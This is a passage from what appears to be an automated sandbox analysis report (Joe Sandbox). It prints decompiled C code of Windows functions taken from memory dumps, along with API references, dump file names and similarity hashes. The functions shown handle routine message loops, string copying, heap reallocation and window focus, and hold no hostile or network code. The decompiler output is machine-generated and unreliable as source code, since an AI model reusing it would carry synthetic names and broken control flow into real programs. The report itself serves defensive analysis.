								_t73 = _t73 + 0xc;
								if(_t47 != 0) {
									 *(_t68 + 0x534) =  *(_t71 - 0x48);
									 *((intOrPtr*)(_t68 + 0x52c)) = _t47;
									goto L10;
								}
							}
							L13:
							_t37 = SendMessageA( *(_t68 + 0x254), 0x439, 0, _t71 - 0x44);
							if(_t37 -  *(_t71 - 0x1c) == 0xffffffff) {
								goto L17;
							} else {
								goto L14;
							}
						} else {
							_push(0x80004005);
							E000F1170(_t65);
							L17:
							E000FCF50( *(_t68 + 0x530) - 1, _t68 + 0x52c);
							_t68 =  *((intOrPtr*)(_t71 - 0x5c));
						}
					}
					L18:
					_t64 =  *(_t68 + 0x254);
					SendMessageA( *(_t68 + 0x254), 0x439, 0, 0);
					DeleteDC(_t66);
					 *[fs:0x0] =  *((intOrPtr*)(_t71 - 0xc));
					_pop(_t67);
					_pop(_t70);
					_pop(_t49);
					return E001059E6(1, _t49,  *(_t71 - 0x14) ^ _t71, _t64, _t67, _t70);
					L14:
					 *(_t71 - 0x1c) = _t37;
				} while (_t37 <  *((intOrPtr*)(_t71 - 0x70)));
				goto L18;
			}

0x000f8fe7
0x000f8ff0
0x000f8ff0
0x000f8ffc
0x000f905f
0x000f906b
0x000f9070
0x000f9075
0x000f9075
0x000f9077
0x00000000
0x000f8ffe
0x000f8ffe
0x000f9004
0x000f9009
0x000f9018
0x000f9029
0x000f902b
0x000f902e
0x00000000
0x00000000
0x000f901a
0x000f901a
0x000f9037
0x000f9044
0x000f9049
0x000f904e
0x000f9053
0x000f9059
0x00000000
0x000f9059
0x000f904e
0x000f907d
0x000f908f
0x000f909d
0x00000000
0x00000000
0x00000000
0x00000000
0x000f90ad
0x000f90ad
0x000f90b2
0x000f90b7
0x000f90c4
0x000f90c9
0x000f90c9
0x000f9009
0x000f90cc
0x000f90cc
0x000f90dc
0x000f90e3
0x000f90ee
0x000f90f6
0x000f90f7
0x000f90f8
0x000f9106
0x000f909f
0x000f909f
0x000f90a2
0x00000000

APIs

__recalloc.LIBCMT ref: 000F9044
SendMessageA.USER32(?,00000439,00000000,?), ref: 000F908F
SendMessageA.USER32(?,00000439,00000000,00000000), ref: 000F90DC
DeleteDC.GDI32(00000000), ref: 000F90E3

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$Delete__recalloc
String ID:
API String ID: 3941115546-0
Opcode ID: 549d5b9d125125be87df97f3b78c91b599c1f8f5fe8679d3d7990a42bfb54a67
Instruction ID: d647ef14394235159c36904217fe9726576ea817f14fd6ba58089b87385f72a0
Opcode Fuzzy Hash: 549d5b9d125125be87df97f3b78c91b599c1f8f5fe8679d3d7990a42bfb54a67
Instruction Fuzzy Hash: 71216970A00B098FCB24CF64D885BBEB7F6EF88305F10851DEA2A97680DB71A841DF04

Uniqueness

Uniqueness Score: -1.00%

Function 000FD500 Relevance: 6.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E000FD500(intOrPtr __ecx, int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				short _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				void* __ebx;
				signed int _t21;
				signed int _t27;
				int _t29;
				intOrPtr _t32;
				int _t38;
				intOrPtr _t40;
				WCHAR* _t41;
				intOrPtr _t42;
				WCHAR* _t43;
				signed int _t44;

				_t42 = __esi;
				_t40 = __edi;
				_t39 = __edx;
				_t21 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t21 ^ _t44;
				_t32 = __ecx;
				_t23 = 0;
				_v524 = __ecx;
				if(( *(__ecx + 0xb4) & 0x00000001) != 0) {
					L16:
					return E001059E6(_t23, _t32, _v8 ^ _t44, _t39, _t40, _t42);
				}
				_v520 = 0;
				_t38 = LoadStringW( *0x170c0c, __edx,  &_v520, 0x100);
				_t27 = 0;
				_v528 = _t38;
				if(_t38 <= 0) {
					L15:
					_t23 = 0;
					goto L16;
				}
				_t39 = 0xa;
				while( *((intOrPtr*)(_t44 + _t27 * 2 - 0x204)) != _t39) {
					_t27 = _t27 + 1;
					if(_t27 < _t38) {
						continue;
					}
					L13:
					if(_t38 > 0) {
						 *(_t32 + 0xb4) =  *(_t32 + 0xb4) | 0x00008000;
					}
					goto L15;
				}
				_push(_t42);
				_push(_t40);
				_t41 = _t32 + 0x10;
				_t43 = _t44 + _t27 * 2 - 0x202;
				if(_t41 != 0 && _t43 != 0) {
					if(lstrlenW(_t43) <= 0x4f) {
						_t29 = lstrlenW(_t43);
					} else {
						_t29 = 0x4f;
					}
					lstrcpynW(_t41, _t43, _t29 + 1);
					_t38 = _v528;
					_t32 = _v524;
				}
				_pop(_t40);
				_pop(_t42);
				goto L13;
			}

0x000fd500
0x000fd500
0x000fd500
0x000fd509
0x000fd510
0x000fd514
0x000fd516
0x000fd51f
0x000fd525
0x000fd5c5
0x000fd5d3
0x000fd5d3
0x000fd537
0x000fd54b
0x000fd54d
0x000fd54f
0x000fd557
0x000fd5c3
0x000fd5c3
0x00000000
0x000fd5c3
0x000fd559
0x000fd560
0x000fd56a
0x000fd56d
0x00000000
0x00000000
0x000fd5b5
0x000fd5b7
0x000fd5b9
0x000fd5b9
0x00000000
0x000fd5b7
0x000fd571
0x000fd572
0x000fd573
0x000fd576
0x000fd57f
0x000fd591
0x000fd59b
0x000fd593
0x000fd593
0x000fd593
0x000fd5a1
0x000fd5a7
0x000fd5ad
0x000fd5ad
0x000fd5b3
0x000fd5b4
0x00000000

APIs

LoadStringW.USER32(000F0000,?,?,00000100), ref: 000FD545
lstrlenW.KERNEL32(?,?,?), ref: 000FD58C
lstrlenW.KERNEL32(?,?,?), ref: 000FD59B
lstrcpynW.KERNEL32(?,?,00000001,?,?), ref: 000FD5A1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$LoadStringlstrcpyn
String ID:
API String ID: 1900667794-0
Opcode ID: 1a640bb3ce5ce4841d4e1cb53555d6ea4070c1bfa22f0c2e68c91a6935628a8b
Instruction ID: 24a3f41f974680c89e51bf623d23e86368ec390e0c72ec647193f84f7c1109f5
Opcode Fuzzy Hash: 1a640bb3ce5ce4841d4e1cb53555d6ea4070c1bfa22f0c2e68c91a6935628a8b
Instruction Fuzzy Hash: 10210570A0171D8BDB14DF28DD88BBE73B5EB88704F1080ABEE19D7642DB709D809B51

Uniqueness

Uniqueness Score: -1.00%

Function 001093AB Relevance: 6.1, APIs: 4, Instructions: 68
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E001093AB(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = HeapReAlloc( *0x171004, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0x17166c - _t7;
								if(__eflags == 0) {
									_t9 = E00107A0D(__eflags);
									 *_t9 = E001079CB(GetLastError());
									goto L17;
								} else {
									__eflags = E00108912(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E00107A0D(__eflags);
										 *_t12 = E001079CB(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00108912(_t6, _t30);
						 *((intOrPtr*)(E00107A0D(__eflags))) = 0xc;
						goto L12;
					} else {
						E00105DE2(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00105E1C(__edx, __edi, __esi, _a8);
				}
			}

0x001093b4
0x001093c1
0x001093c2
0x001093c5
0x001093c7
0x001093d6
0x00109409
0x00109409
0x0010940c
0x00000000
0x00000000
0x001093d9
0x001093db
0x001093dd
0x001093dd
0x001093dd
0x001093ea
0x001093f0
0x001093f2
0x001093f4
0x00109454
0x00109454
0x001093f6
0x001093f6
0x001093fc
0x0010943e
0x00109452
0x00000000
0x001093fe
0x00109405
0x00109407
0x00109426
0x0010943a
0x00109420
0x00109420
0x00109420
0x00000000
0x00000000
0x00000000
0x00109407
0x001093fc
0x00000000
0x00109422
0x0010940f
0x0010941a
0x00000000
0x001093c9
0x001093cc
0x001093d2
0x001093d2
0x00109423
0x00109425
0x001093b6
0x001093c0
0x001093c0

APIs

_malloc.LIBCMT ref: 001093B9

Part of subcall function 00105E1C: __FF_MSGBANNER.LIBCMT ref: 00105E35
Part of subcall function 00105E1C: __NMSG_WRITE.LIBCMT ref: 00105E3C
Part of subcall function 00105E1C: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00109160,?,00000001,?,?,0010A609,00000018,00114600,0000000C,0010A699), ref: 00105E61

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 375aa1f57f3b9df7f43163fac31085a6c26c5942db80faab3b18adf1639f534f
Instruction ID: deec0b3cb35e48d4edb7827a35bd7b42c66126466a43ef92a1162ef4f1486fc6
Opcode Fuzzy Hash: 375aa1f57f3b9df7f43163fac31085a6c26c5942db80faab3b18adf1639f534f
Instruction Fuzzy Hash: 0211E732909614ABCF263BB5A91569A3794AF543B0B218425F4D8CF1E2DBF089C18B90

Uniqueness

Uniqueness Score: -1.00%

Function 000FD430 Relevance: 6.1, APIs: 4, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E000FD430(int __ecx, struct HINSTANCE__* __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				char _v264;
				struct HINSTANCE__* _v268;
				intOrPtr _v272;
				void* __ebx;
				signed int _t19;
				void* _t25;
				int _t27;
				struct HINSTANCE__* _t30;
				int _t35;
				intOrPtr _t37;
				CHAR* _t38;
				intOrPtr _t39;
				CHAR* _t40;
				signed int _t41;

				_t39 = __esi;
				_t37 = __edi;
				_t36 = __edx;
				_t19 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t19 ^ _t41;
				_t30 = __edx;
				_v268 = __edx;
				if(( *(__edx + 0x64) & 0x00000001) != 0) {
					L15:
					return E001059E6(0, _t30, _v8 ^ _t41, _t36, _t37, _t39);
				}
				_t36 =  *0x170c0c;
				_v264 = 0;
				_t35 = LoadStringA( *0x170c0c, __ecx,  &_v264, 0x100);
				_t25 = 0;
				_v272 = _t35;
				if(_t35 <= 0) {
					goto L15;
				}
				_t36 = 0xa;
				while( *((intOrPtr*)(_t41 + _t25 - 0x104)) != _t36) {
					_t25 = _t25 + 1;
					if(_t25 < _t35) {
						continue;
					}
					L13:
					if(_t35 > 0) {
						 *(_t30 + 0x64) =  *(_t30 + 0x64) | 0x00008000;
					}
					goto L15;
				}
				_push(_t39);
				_push(_t37);
				_t38 = _t30 + 0x10;
				_t40 = _t41 + _t25 - 0x103;
				if(_t38 != 0 && _t40 != 0) {
					if(lstrlenA(_t40) <= 0x4f) {
						_t27 = lstrlenA(_t40);
					} else {
						_t27 = 0x4f;
					}
					lstrcpynA(_t38, _t40, _t27 + 1);
					_t35 = _v272;
					_t30 = _v268;
				}
				_pop(_t37);
				_pop(_t39);
				goto L13;
			}

0x000fd430
0x000fd430
0x000fd430
0x000fd439
0x000fd440
0x000fd444
0x000fd44a
0x000fd450
0x000fd4e6
0x000fd4f6
0x000fd4f6
0x000fd456
0x000fd46a
0x000fd477
0x000fd479
0x000fd47b
0x000fd483
0x00000000
0x00000000
0x000fd485
0x000fd487
0x000fd490
0x000fd493
0x00000000
0x00000000
0x000fd4db
0x000fd4dd
0x000fd4df
0x000fd4df
0x00000000
0x000fd4dd
0x000fd497
0x000fd498
0x000fd499
0x000fd49c
0x000fd4a5
0x000fd4b7
0x000fd4c1
0x000fd4b9
0x000fd4b9
0x000fd4b9
0x000fd4c7
0x000fd4cd
0x000fd4d3
0x000fd4d3
0x000fd4d9
0x000fd4da
0x00000000

APIs

LoadStringA.USER32 ref: 000FD471
lstrlenA.KERNEL32(?,?,?), ref: 000FD4B2
lstrlenA.KERNEL32(?,?,?), ref: 000FD4C1
lstrcpynA.KERNEL32(00000000,?,00000001,?,?), ref: 000FD4C7

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$LoadStringlstrcpyn
String ID:
API String ID: 1900667794-0
Opcode ID: 3a99419693aa5d26dac31adc604281dcbfd8b79850a6b492a388c08eed629032
Instruction ID: ec7c6797e34e3267802193de3e35f4568b7435e0b1e8a8b616a5f7d577c17b72
Opcode Fuzzy Hash: 3a99419693aa5d26dac31adc604281dcbfd8b79850a6b492a388c08eed629032
Instruction Fuzzy Hash: 8B11E47060521D9BDB24DF14DD84BFA77BAEB49300F1044AAEA49D7641D7B0BD80EB90

Uniqueness

Uniqueness Score: -1.00%

Function 000F49A0 Relevance: 6.1, APIs: 4, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E000F49A0(void* __ecx, intOrPtr* __edi) {
				intOrPtr _v8;
				int _t8;
				intOrPtr _t11;
				intOrPtr _t15;
				void* _t19;
				intOrPtr* _t26;
				MSG* _t28;
				void* _t37;
				void* _t39;

				_t26 = __edi;
				_t28 = __edi + 0x1c;
				while(1) {
					_t19 = 0;
					_v8 = 1;
					goto L2;
					do {
						do {
							do {
								L2:
								if(_v8 != 0) {
									while(PeekMessageA(_t28, 0, 0, 0, 0) == 0) {
										_t11 =  *((intOrPtr*)( *((intOrPtr*)( *_t26 + 4))))(_t19);
										_t19 = _t19 + 1;
										if(_t11 != 0) {
											continue;
										} else {
											_v8 = _t11;
										}
										goto L6;
									}
								}
								L6:
								_t8 = GetMessageA(_t28, 0, 0, 0);
							} while (_t8 == 0xffffffff);
							if(_t8 != 0) {
								_push(_t28);
								if( *((intOrPtr*)( *((intOrPtr*)( *_t26))))() == 0) {
									TranslateMessage(_t28);
									DispatchMessageA(_t28);
								}
								_t15 =  *((intOrPtr*)(_t26 + 0x20));
								_t37 = _t15 - 0x118;
								if(_t37 > 0) {
									goto L15;
								} else {
									goto L11;
								}
								L18:
							}
							return  *((intOrPtr*)(_t26 + 0x24));
							goto L18;
							L11:
						} while (_t37 == 0 || _t15 == 0xf);
						_t39 = _t15 - 0xa0;
						L15:
					} while (_t39 == 0);
				}
			}

0x000f49a0
0x000f49a6
0x000f49a9
0x000f49a9
0x000f49ab
0x000f49ab
0x000f49b2
0x000f49b2
0x000f49b2
0x000f49b2
0x000f49b6
0x000f49b8
0x000f49d3
0x000f49d5
0x000f49d8
0x00000000
0x000f49da
0x000f49da
0x000f49da
0x00000000
0x000f49d8
0x000f49b8
0x000f49dd
0x000f49e4
0x000f49ea
0x000f49f1
0x000f49f7
0x000f49fe
0x000f4a01
0x000f4a08
0x000f4a08
0x000f4a0e
0x000f4a11
0x000f4a16
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000f4a16
0x000f4a3a
0x00000000
0x000f4a18
0x000f4a18
0x000f4a1f
0x000f4a2b
0x000f4a2b
0x000f4a2d

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 000F49C1
GetMessageA.USER32 ref: 000F49E4
TranslateMessage.USER32(?), ref: 000F4A01
DispatchMessageA.USER32 ref: 000F4A08

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: d97acd31dc5453dd9c57b4b2ca11d271aad4b87132e5ebaf96b3f2e5e8532b65
Instruction ID: 3c3a6716c3eb048b4486dea627b4cb661bb50104854acffed00259e6f19a03ba
Opcode Fuzzy Hash: d97acd31dc5453dd9c57b4b2ca11d271aad4b87132e5ebaf96b3f2e5e8532b65
Instruction Fuzzy Hash: E111A330741209ABE7658B58DD88BBF73E8FF49300F204111EB15D79D0D7B4EE81A686

Uniqueness

Uniqueness Score: -1.00%

Function 000FD5E0 Relevance: 6.1, APIs: 4, Instructions: 53
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FD5E0(void* __eax, signed short _a4, signed short _a8, long _a12) {
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				long _v100;
				char _v104;
				intOrPtr _v108;
				char _v112;
				intOrPtr _t23;
				void* _t41;
				long _t42;

				_t41 = __eax;
				_v108 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = DefWindowProcA;
				_v76 =  *((intOrPtr*)(__eax + 0x24));
				_v112 = 0x112d7c;
				_v104 =  &_v112;
				_v100 = GetCurrentThreadId();
				EnterCriticalSection(0x170c68);
				_t23 =  *0x170c80; // 0x0
				_v96 = _t23;
				 *0x170c80 =  &_v104;
				LeaveCriticalSection(0x170c68);
				_t42 = CallWindowProcA( *(_t41 + 0x20),  *(_t41 + 4), 0x111, (_a4 & 0x0000ffff) << 0x00000010 | _a8 & 0x0000ffff, _a12);
				_t29 = _v92;
				if(_v92 != 0) {
					E00105701(_t29);
				}
				return _t42;
			}

0x000fd5e7
0x000fd5f7
0x000fd5fa
0x000fd5fd
0x000fd600
0x000fd603
0x000fd606
0x000fd609
0x000fd610
0x000fd61e
0x000fd621
0x000fd627
0x000fd634
0x000fd637
0x000fd63d
0x000fd668
0x000fd66a
0x000fd66f
0x000fd672
0x000fd672
0x000fd67e

APIs

GetCurrentThreadId.KERNEL32 ref: 000FD613
EnterCriticalSection.KERNEL32(00170C68), ref: 000FD621
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FD63D
CallWindowProcA.USER32 ref: 000FD662

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$CallCurrentEnterLeaveProcThreadWindow
String ID:
API String ID: 2970181515-0
Opcode ID: 7454d5363815628c7ce8a4e4b547eb85241c483f04998bef25eaacac906ec167
Instruction ID: b6262df4abab06a5fe484af84a5fd11630186ab6127beea2b7a109c811b26cdd
Opcode Fuzzy Hash: 7454d5363815628c7ce8a4e4b547eb85241c483f04998bef25eaacac906ec167
Instruction Fuzzy Hash: 9711E971D00308DFDB55DFA9D9848ADFBF8FB48710F10861AE949EB654D7B49881CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000FB3E0 Relevance: 6.0, APIs: 4, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FB3E0(intOrPtr* __ebx, void* __edi, intOrPtr _a4, CHAR* _a8) {
				intOrPtr _t5;
				signed int _t18;
				signed int _t23;
				CHAR* _t25;

				_t5 =  *((intOrPtr*)(__ebx + 4));
				_t23 = _t5 - _a4 + 0xe10f;
				if(_t23 < 0 || _t23 >= _t5) {
					L9:
					return 0;
				} else {
					_t18 = _t23 * 0x104;
					if(lstrlenA( *__ebx + _t18) < 0x104) {
						if(_t23 >=  *((intOrPtr*)(__ebx + 4))) {
							RaiseException(0xc000008c, 1, 0, 0);
							goto L9;
						} else {
							_t25 =  *__ebx + _t18;
							if(lstrlenA(_t25) < 0x104) {
								lstrcpyA(_a8, _t25);
							}
							return 1;
						}
					} else {
						return 0;
					}
				}
			}

0x000fb3e3
0x000fb3ec
0x000fb3f2
0x000fb459
0x000fb45d
0x000fb3f8
0x000fb3fd
0x000fb411
0x000fb41e
0x000fb453
0x00000000
0x000fb420
0x000fb422
0x000fb430
0x000fb437
0x000fb437
0x000fb445
0x000fb445
0x000fb413
0x000fb418
0x000fb418
0x000fb411

APIs

lstrlenA.KERNEL32(?,?,?,?,000F86BD,?,?,?,?,?), ref: 000FB406
lstrlenA.KERNEL32(?,?,?,000F86BD,?,?,?,?,?), ref: 000FB425
lstrcpyA.KERNEL32(?,?,?,?,000F86BD,?,?,?,?,?), ref: 000FB437

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$lstrcpy
String ID:
API String ID: 805584807-0
Opcode ID: e17052f21732ad1665b0083ac61683a80dcc3a123290eda6587b65a7e664f364
Instruction ID: 58a81f98ec266c1c9e02cabb7afbf672db055ca36e3a3ce74c82783bc72784c2
Opcode Fuzzy Hash: e17052f21732ad1665b0083ac61683a80dcc3a123290eda6587b65a7e664f364
Instruction Fuzzy Hash: 8E01D033B0012457DB105798ED8CBD5B758EB54350F058422FA48EB941C3B5F8D19790

Uniqueness

Uniqueness Score: -1.00%

Function 00101570 Relevance: 6.0, APIs: 4, Instructions: 44
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00101570(void* __eax, void* __edi) {
				void* __esi;
				signed char _t25;
				void* _t38;

				_t38 = __eax;
				if(( *(__eax + 0x84) & 0x00000080) != 0) {
					if(( *(__eax + 0x58) & 0x00000004) == 0) {
						L5:
						if(IsWindow( *(_t38 + 0x5c)) != 0) {
							SetFocus( *(_t38 + 0x5c));
							goto L7;
						}
					} else {
						if(IsWindow( *(__eax + 0xac)) == 0) {
							if(( *(_t38 + 0x58) & 0x00000004) == 0) {
								goto L5;
							}
						} else {
							SetFocus( *(_t38 + 0xac));
							L7:
						}
					}
				}
				 *(_t38 + 0xac) = 0;
				SendMessageA( *(_t38 + 4), 0x449, 0, 0);
				_t25 =  *(_t38 + 0x85);
				if((_t25 & 0x00000002) != 0 && (_t25 & 0x00000004) != 0) {
					_t25 = E00101600(0, _t38);
				}
				 *(_t38 + 0x85) =  *(_t38 + 0x85) & 0x0000007f;
				return _t25;
			}

0x00101571
0x0010157a
0x00101587
0x001015a5
0x001015ad
0x001015b3
0x00000000
0x001015b3
0x00101589
0x00101594
0x001015a3
0x00000000
0x00000000
0x00101596
0x001015b3
0x001015b3
0x001015b3
0x00101594
0x001015b9
0x001015c7
0x001015d1
0x001015d7
0x001015df
0x001015e7
0x001015e7
0x001015ec
0x001015f4

APIs

IsWindow.USER32(?), ref: 00101590
IsWindow.USER32(?), ref: 001015A9
SetFocus.USER32(?,?,000FEB52,?,?,?), ref: 001015B3
SendMessageA.USER32(?,00000449,00000000,00000000), ref: 001015D1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$FocusMessageSend
String ID:
API String ID: 2164539323-0
Opcode ID: 9c999da0be0c4b9362dec5d242f2f1b8dd790adf7d27bf5326c0ae57a788284d
Instruction ID: 194381d692016d03efb1aee4efee49181f797aaebdc87ccf1fe00277f060b209
Opcode Fuzzy Hash: 9c999da0be0c4b9362dec5d242f2f1b8dd790adf7d27bf5326c0ae57a788284d
